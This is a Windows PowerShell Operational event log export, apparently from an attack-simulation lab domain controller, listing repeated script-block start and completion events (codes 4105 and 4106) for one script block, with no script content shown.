RecordNumber=1468899
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468898
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468897
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468896
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468895
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468894
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468893
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468892
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468891
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468890
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468889
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468888
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468887
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468886
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468885
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468884
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468883
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468882
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468881
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468880
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468879
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468878
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468877
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468876
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468875
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468874
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468873
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468872
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468871
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468870
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468869
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468868
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468867
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468866
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468865
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468864
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468863
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468862
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468861
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468860
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468859
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468858
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468857
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468856
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468855
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468854
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468853
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468852
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468851
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468850
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468849
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468848
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468847
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468846
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468845
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468844
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
